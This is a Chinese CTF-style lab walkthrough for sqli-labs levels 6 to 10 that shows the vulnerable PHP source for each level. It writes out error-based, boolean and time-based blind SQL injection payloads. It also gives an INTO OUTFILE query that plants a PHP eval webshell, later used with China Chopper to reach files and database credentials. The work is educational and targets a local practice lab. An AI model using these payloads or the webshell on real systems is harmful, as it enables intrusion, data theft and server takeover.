mysql less6教程_# sqllab-Less6-10

sqllab-Less6-10

less6

1. 先不看源码(依靠前面几关的经验盲猜)

​id=1',没出现语法报错,说明'不起作用,可能不是这个闭合方式

30f2384f62c31f7f1477038e60ea4d09.png

id=1"出现语法错误,说明"起作用,闭合方式应该是这个

12732973.html

id=1" --+,正常闭合,确定"是闭合方式

d5fea00a781dd1298ec8cc820e07f661.png

?id=1" or 1=1 --+, 可以正常执行,并且看到的结果都是这个,说明这关可能和前面一关一样是正确得不到信息,应该还是报错注入方式,和less5一样的。

c75debb978c166de6d324f71c4823af5.png

?id=1" and updatexml(1, concat(1, database()),1) --+,基于updatexml的报错注入在less5那里有了详细说明,这里不再重复。可以看到这个是可以正常获取到信息的

0126e1748d535087b07f430fb10e5407.png

2. 查询拿到相应的信息(基于报错一次获取的信息有限,只能慢慢来)

表名

?id=1" and updatexml(1, concat(1, (select group_concat(distinct table_name) from information_schema.columns where table_schema=database())),1) --+, 这个注入怎么写已经在less1-5中做了详细说明,不再重复。注意的是concat第二个参数写sql语句记得加()括起来

88534e50eefb0071d4396c40ab74023c.png

举个栗子,查看users表的字段名

对于直接写可能会存在括号看花的情况,可以选择先把查询语句单独写出来再粘贴到指定位置

?id=1" and updatexml(1, concat(1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())), 1) --+

12732973.html

拿user表的用户名

?id=1" and updatexml(1, concat(1, (select group_concat(username) from users limit 0,5)),1) --+, 写起来没难度这个,和less5中一样

4236060556a9d0a6ec5f2b865c592d75.png

举个例子,这里查Dumb用户的密码

?id=1" and updatexml(1, concat(1, (select password from users where username='Dumb')),1) --+

5e01990112a8e25d5531a3fd9c7f9b58.png

less6注入到这就完成了,再回过头看看源码:

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in...........';

echo "
";

echo "";

}

else

{

echo '';

print_r(mysql_error());

echo "";

echo '';

}

}

...

可以看到,这里的sql查询方式和前面某一关是一样的: 获取$id后再加个双引号,闭合方式也就是加个双引号,然后通过报错拿信息。

Less7

1. 盲猜测试

​?id=1', 这个也是报了个错误,但是似乎和前面见到的有所不同

69547713a8355e82ea3f94b85c960f0d.png

?id=1' --+, 依然报错

cb00e533097252a592818b97937f91be.png

?id=1" --+,似乎过了,但好像没有什么信息,难道又是报错注入

5516f2d890e031dd026bc3b97ec429d9.png

?id=1" and updatexml(1, concat(1, database()),1)--+, 看结果报错注入也得不到信息

c4461ab5ddeb2a8fbebf7ad59bd0ff45.png

2. 没辙了,看源码

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in.... Use outfile......';

echo "
";

echo "";

}

else

{

echo '';

echo 'You have an error in your SQL syntax';

//print_r(mysql_error());

echo "";

}

}

else { echo "Please input the ID as parameter with numeric value";}

看的蒙了,这代码好像都是写死的,咱也不能耍无赖去改源码啊,还是百度吧。

3.补充知识点:数据库数据导出

mysql数据导出

select * from user into outfile "a.txt",也就是一个mysql导出数据的语法,这是相对路径,很容易看出这个是相对于当前库的

5cb0cafabd43ed48b31e5875e05c4898.png

select * from users into outfile "C:/a.txt"

e12dc362e2fa74a8d7659e236ff030d4.png

这个数据导出好像是需要配置权限的,但是我这个wamp集成环境中mysql5.6在配置中并没有找到secure_file_priv选项,可能是默认就有了。

在试试另一种数据导出写法(直接写入文本)

select 'test' into outfile "C:/test.php"

eb488b63834bc2a4740ca0fc545cbe6c.png

4. 回到正题,通过导出文件注入(获取webshell,菜刀篇),此部分截图中一句话木马少了个分号

?id=-1')) union select '<?php @eval($_POST["cmd"]); ?>', '//2', 3 into outfile "C:/wamp/www/sqllab/shell.php" --+

结果:

617dc259792986a73eda1e1d9d037765.png

f67c694b4138a8a7a3dfaa2e216ad135.png

第一个图有点奇怪,我使用的是联合查询,虽然前半部分没有结果,但后半部分是有的啊,不是有个select直接写入一些数据了吗?这是因为第二个查询是不会返回结果的

38485ee5153164b5cb6d3dc062b0b018.png

通过这个图可以看到,查询是直接写入到文件中的,这可能就类似编程语言中直接向文件输入流中写入,而不再对数据保存并返回。因此虽然无结果,但后面那部分的查询是执行了的。

但是这还有个问题,把前面改成?id=1后边不变,也是没有结果返回,但有同样是执行了。这里我也还存在疑惑。。。

现在看看shell.php文件中是什么,前半部分是一句话木马,就是利用php函数发送的一个请求(具体细节日后在写,自行百度),现在只需要知道这个有了文件,就可以通过中国菜刀直接获取webshell(web应用的控制权限)

94b7377870742fe5c82614b8e8e33bfb.png

访问一下这个php文件:

186ac29e284619ff2815bf5626d6e232.png

可以正常访问到,接下来就是通过菜刀获取webshell(次不傻瓜式操作),我这的菜刀是2016版的,对于这个菜刀的原理这里不说(因为我也还没弄清楚( ̄^ ̄゜)),右键点击添加。

补个下载链接https://github.com/raddyfiy/caidao-official-version

781e9ea3cbd467ae3b0b78d0706a26c4.png

然后就是点击那个新添加的链接,如果那个一句话木马在浏览器能正常访问并且没有写错的话,就会看到下面这:

a218a0ebd48a8fb5de003faaf86823ab.png

这个就是服务器的内容了,并且可以进行读写操作。这个工具的其他功能自己耍耍就会,毕竟不是原理性的东西。

再介绍一下使用菜刀获取数据库的。

首先,只通过一句话木马是可以拿到网站的文件系统的,但是并没有拿到数据库,网站和数据库也不是一回事。但是我们可以通过文件系统找到数据库的配置信息,至于配置文件怎么找,这个靠猜和一定经验。

8672530af1734dc9fe0122d137ed467d.png

通过这个图已经能看到数据库账号密码和host了,然后就可以在添加连接时再添加一些参数就能对数据库进行管理了。

be05973eaa9fd460efc32cd3afa527ce.png

添加之后右键进行数据库管理就能看到数据库了,并且可以执行sql语句

bc1f2b02612695a597445e9e1f6cbc94.png

总体来说到这,这一部分就结束了,但是还存在一个问题,刚开始又是怎么知道网站在哪个目录下呢?这是自己搭建的靶机自然知道网站目录,但是不是自己的靶机怎么办。

这个问题涉及的是扫描方面,以后再详细说明。这里就先假设知道了目标主机的网站结构。(先水水|ू・ω・` ))

5. 不获取webshell进行查询(同样假设知道网站路径)

以查询表名和列名为例

?id=-1')) union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/info.html" --+

结果:

dcdca1c1e675bdddbb464ea9bf5551d4.png

1096d995ceba5a14b7739aaf00fa5ea7.png

其他的也一样,less7就到这了

Less8

1. 盲猜注入点

?id=1'

?id=1')

?id=1'))

27f5cec0cc360b13784e9752c9910dbe.png

?id=1"

?id=1")

?id=1"))

c4fbf6f94cb12916f9da6abf2fad6a90.png

几种方式都没有语法报错

?id=1' and sleep(5) --+

e30ff4ca4d39864b48d05135bcdf7c90.png

这种延时函数有效果,可以看到页面停顿了几秒才加载。说明这个sleep()是执行了的,也就是说'很有可能是注入点。

?id=1' order by 4 --+,前面的1,2,3都是有页面内容的,第四次就和上边这个图一样了,初步猜测可能查询不到结果页面不显示信息。

?id=1' and updatexml(1,concat(1, database()), 1) --+,基于updatexml的报错注入也没有结果

?id=1' union select '1', '2', '3' into outfile "C:/wamp/www/sqllab/1.html" --+,数据导出的方式似乎还是有用的。

b7d611ce3064790fe58e0faf879e5131.png

?id=-1' union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/2.html" --+

fb6e8e3a9d0b85e704589a01ef493698.png

这样这一关的注入方法使用数据导出的方式还是能用的

2. 查看源码

经过上边一顿猜测,已经知道了数据导出的方式在第8关成功注入。

源码分析:

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in...........';

echo "
";

echo "";

}

else

{

echo '';

//echo 'You are in...........';

//print_r(mysql_error());

//echo "You have an error in your SQL syntax";

echo "";

echo '';

}

}

else { echo "Please input the ID as parameter with numeric value";}

?>

查看之后可以发现,和上边的猜测是一致的,注入点为',查不到结果无信息显示,所以可以通过数据导出的方式注入。

less8补充:基于布尔的盲注判断注入点

?id=1'

?id=1' and 1=1 --+// 下面第二张图的结果

?id=1' and 1=2 --+// 下面第一张图的结果,两者附加的条件分别为true,false,并且结果不同,所以初步判断'注入可以执行后边的代码,判断'为注入点

aa17fe79c367297d7ec114824b2bdf5e.png

?id=1"

?id=1" and 1=1 --+

?id=1" and 1=1 --+

?id=1" or 1=1 --+//这几个均是下面这个结果,排除"为注入点的可能

25a5d9407979161d7a8105b41722af23.png

Less 9

1. 盲猜注入点并完成查询

?id=1'

?id=1')

?id=1'))

?id=1' or 1=1//这几种均不报错

?id=1' and sleep(5) --+//这个方式延时加载,猜测'为注入点

?id=1" and sleep(5) --+// 无延时,排除"注入点的可能

?id=1' union select 1,2,database() --+

这些都是这个结果:

8dae99c0192a463b0e369b58c312e9eb.png

从上面大致确定了注入点,但是几种正常方式都是同样的结果

?id=1' and updatexml(1, concat(1, database()), 1) --+ // 结果同上

?id=1' union select '1', '2', '3' into outfile "C:/wamp/www/sqllab/4.html" --+

19b1910a4423f7c621c2bfee8f09e018.png

可以看到数据导出注入正常

?id=1' union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/9_1.html" --+

0461099fb5a2af9da67effc35c292cd4.png

连续几关都是同样的注入方式了,看看关卡说明

498ccb642528c83a3d76130d2d863576.png

第八关是基于布尔的盲注,第九关是基于时间的盲注,而实际上在第8关的时候我的判断就已经是通过sleep()来判断了,并且也能判断出注入点。那再回过头补充一下基于布尔的盲注(已写到less8位置)

2. 源码分析:

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in...........';

echo "
";

echo "";

}

else

{

echo '';

echo 'You are in...........';

//print_r(mysql_error());

//echo "You have an error in your SQL syntax";

echo "";

echo '';

}

}

这里容易看出,无论查不查得到结果页面显示的内容都是一样的,所以通过延时注入就能判断出注入点

Less10

1. 盲猜注入点

布尔盲注

?id=1'

?id=1' and 1=1 --+

?id=1' and 1=2 --+

?id=1' or 1=1 --+// 结果均为下图

c322aa7741c50c0e09273fb5ee14e19f.png

?id=1"

?id=1" and 1=1 --+

?id=1" and 1=1 --+

?id=1" or 1=1 --+// 这几种同上

时间盲注

?id=1' and sleep(5) --+// 无效果,结果图同上

?id=1" and sleep(5) --+//延时效果,猜测"为注入点

2. 知道注入点后开始,查询

?id=1" union select 1,2,database() --+//无结果,效果同上

?id=1" and updatexml(1, concat(1, database()), 1) --+// 无结果,效果同上

?id=1" union select '1', '2', '3' into outfile "C:/wamp/www/sqllab/less10_info.html" --+// 可以写入

1395ec3f62a85328f8821a7c66d34cd0.png

?id=1" union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/less10_info2.html" --+

a9a871c797a1e9a5a360db02bed37450.png

到这这一关就完成了

3. 源码分析

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in...........';

echo "
";

echo "";

}

else

{

echo '';

echo 'You are in...........';

//print_r(mysql_error());

//echo "You have an error in your SQL syntax";

echo "";

echo '';

}

}

可以看出,这个源码和前一关的基本一致,只是注入点换成了"

less6-10, 写完。

第一次做这个sqllab,这些也都是按照自己的思路想到什么就写什么,格式上还是比较凌乱的,下一次尽量统一每一关的解答格式吧。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值